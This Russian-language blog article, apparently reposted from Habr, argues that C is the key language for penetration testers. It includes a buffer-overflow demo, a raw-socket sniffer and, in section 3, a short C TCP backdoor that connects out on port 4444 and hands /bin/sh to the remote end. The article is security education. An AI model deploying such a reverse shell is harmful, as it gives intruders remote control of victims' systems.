Когда речь заходит о выборе языка для начинающего пентестера, чаще всего вспоминают Python: удобный синтаксис, тысячи библиотек, готовые скрипты на GitHub. Но чем глубже вы погружаетесь в безопасность, тем яснее становится: без языка C — никуда.
C не устаревает — он продолжает быть фундаментом всего: от операционных систем до эксплойтов. И вот почему в 2025 году знание C особенно важно для пентеста.
1. Эксплойты и уязвимости «живут» в C-коде
Большинство классических багов, с которых начиналась история кибербезопасности, происходили из-за ошибок в программах на C:
-
Buffer Overflow
-
Use-After-Free
-
Format String Vulnerabilities
Эти ошибки не появляются в Python или JavaScript — их просто нельзя там допустить. Но в C всё напрямую зависит от разработчика:
#include <stdio.h> #include <string.h> int main() { char buf[8]; strcpy(buf, "AAAAAAAAAAAAAAAAAAAA"); // переполнение! printf("Вы ввели: %s\n", buf); return 0; }
Компилируем → запускаем → и вуаля: программа падает. Для пентестера это — отправная точка для построения эксплойта.
2. Понимание того, «как всё устроено»
Если вы ломаете систему, нужно понимать её изнутри.
C даёт доступ к:
-
Памяти (через указатели и malloc/free)
-
Системным вызовам (через unistd.h, sys/socket.h)
-
Железу (через регистры и драйверы)
Например, простой сниффер на C, работающий через raw-сокеты:
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <arpa/inet.h> #include <sys/socket.h> int main() { int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if(sock < 0) { perror("Socket error"); return 1; } unsigned char buffer[65535]; while(1) { int len = recv(sock, buffer, sizeof(buffer), 0); if(len > 0) { printf("Получен пакет длиной %d байт\n", len); } } return 0; }
В Python можно написать подобное с помощью scapy, но в C вы работаете напрямую с ядром, что даёт максимальную гибкость.
3. «Красные команды» и реверс
При анализе малвари, бэкдоров и эксплойтов вы постоянно встречаете C/С++.
Многие тулзы пишутся именно на C, потому что:
-
они маленькие по размеру;
-
легко компилируются под разные ОС (Windows/Linux/BSD);
-
дают полный контроль над памятью и сетью.
Простейший TCP-бекдор на C занимает меньше 20 строк:
#include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> int main() { int sock = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv = {AF_INET, htons(4444), {0}}; connect(sock, (struct sockaddr*)&serv, sizeof(serv)); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); execl("/bin/sh", "sh", NULL); }
Эта программа подключается к удалённому серверу и отдаёт туда оболочку. Никакой Python не даст такого же уровня минимализма и скорости.
4. IoT, роутеры и «железо»
Мир пентеста уже давно вышел за рамки веб-приложений. IoT-устройства, камеры, маршрутизаторы — всё это написано на C.
Хотите найти уязвимость в роутере? Придётся лезть в бинарник прошивки на C.
5. В 2025 году C = навык «ниже уровня фреймворков»
Сегодня многие пентестеры застревают на уровне «поднять Metasploit и нажать exploit». Это даёт результат только до определённого уровня. Настоящие исследователи и Red Team-специалисты должны уметь:
-
читать C-код уязвимого ПО;
-
писать свой PoC (proof-of-concept);
-
понимать, как работает память и стек.
Заключение
C — это не «ещё один язык для резюме». Это инструмент, который отличает скрипт-кидди от настоящего специалиста.
-
Python нужен для автоматизации,
-
Bash — для склейки тулзов,
-
но именно C позволяет залезть внутрь системы.
И если в 2025 году вы хотите не просто запускать чужие эксплойты, а создавать свои и понимать систему изнутри — учите C.
P.S. Идея для практики:
Возьмите старую CTF-задачу с buffer overflow, соберите её у себя и попробуйте воспроизвести атаку. Это даст больше опыта, чем неделя чтения книг по Python.
ссылка на оригинал статьи https://habr.com/ru/articles/942678/
Добавить комментарий